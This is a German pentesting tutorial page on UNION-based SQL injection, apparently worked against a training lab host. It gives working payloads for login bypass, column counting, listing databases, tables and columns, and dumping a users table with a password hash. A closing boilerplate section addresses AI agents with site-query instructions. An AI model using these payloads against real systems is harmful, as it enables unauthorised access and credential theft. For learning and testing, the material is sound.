> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md).

# SQLi UNION-basiert

Verwenden von **Burp Suite**, wir können die Anfrage abfangen, um die SQL-Injection zu testen.

<figure><img src="/files/31917acfdb37eab75b383787a39b0e4c6abf31b2" alt=""><figcaption></figcaption></figure>

### Grundlegende SQL-Injection:

Um die Authentifizierung mit einer einfachen Injection zu umgehen, verwenden wir:

```bash
admin ' or 1=1-- -

```

<figure><img src="/files/1b2218e4abf540af36e7b7695c5db627a267d630" alt=""><figcaption></figcaption></figure>

Diese Art von Injection erzwingt, dass die Bedingung immer wahr ist (`1=1`), wodurch der Zugriff auf das Admin-Panel ermöglicht und die Identifikationskontrolle umgangen wird.

<figure><img src="/files/68fb85a9770140dde33cdf454e4b4632b87c9a8f" alt=""><figcaption></figcaption></figure>

### UNION-basierte Injection

Mit einer Injection **UNION-basiertes SQL**, versuchen wir, die Anzahl der Spalten zu bestimmen, um die Anfragen so zu strukturieren, dass sie mit der Datenbank kompatibel sind. Beispiel:

```bash
admin' union select 1,2,3,4-- -

```

Der Server gibt eine Antwort zurück, die einen „erfolgreichen Login“ anzeigt, was zeigt, dass es 4 Spalten gibt.

<figure><img src="/files/0999580a597f81617a6d96fd3ed4ab11c662b97e" alt=""><figcaption></figcaption></figure>

#### Datenbanken auflisten

Um den Namen der aktuellen Datenbank aufzulisten, verwenden wir:

```bash
admin' union select 1,2,3,database()-- -&password=admin

```

<figure><img src="/files/b865e38d7d3cd8eaa7212782691a9a1912c26ef0" alt=""><figcaption></figcaption></figure>

Dann, um alle verfügbaren Datenbanken zu erhalten:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(schema_name) from information_schema.schemata-- -&password=admin

```

{% endcode %}

Ergebnis: `information_schema`, `main`

<figure><img src="/files/da6fd3dadf11a4ae3a90bbb7f02c97a215b4e10d" alt=""><figcaption></figcaption></figure>

#### Tabellen auflisten

Nachdem die Datenbank identifiziert wurde `main`, listen wir die Tabellen dieser Datenbank auf, um die gespeicherten Strukturen zu erkunden:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema='main'-- -

```

{% endcode %}

Gefundene Tabellen: `blog`, `blog_comments`, `users`.

<figure><img src="/files/db25f9e2aec2078afed3b8b89e30b90bb1df2998" alt=""><figcaption></figcaption></figure>

Spalten einer Tabelle auflisten Für die Tabelle `users`, listen wir die verfügbaren Spalten auf:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_schema='main' and table_name='user' -- -

```

{% endcode %}

Gefundene Spalten: `E-Mail`, `id`, `Name`, `Passwort`.

<figure><img src="/files/8b25e037afdb202ab2489b916bf930bb60b2888f" alt=""><figcaption></figcaption></figure>

#### Extraktion von Benutzerdaten

Wir extrahieren dann die Daten der Tabelle `users`:

{% code overflow="wrap" %}

```sql
admin' union select 1,2,3,group_concat(name,':',email,':',password) from main.user -- -

```

{% endcode %}

BENUTZER: `Admin` E-MAIL: `admin@goodgames.htb` PASSWORT (Hash): `2b22337f218b2d82dfc3b6f77e7cb8ec`

<figure><img src="/files/5ffd6ce03ea5de3788e6136e01774df4079dc0ae" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/de/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-sql-injection-sqli/sqli-union-based-pentesting-web.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
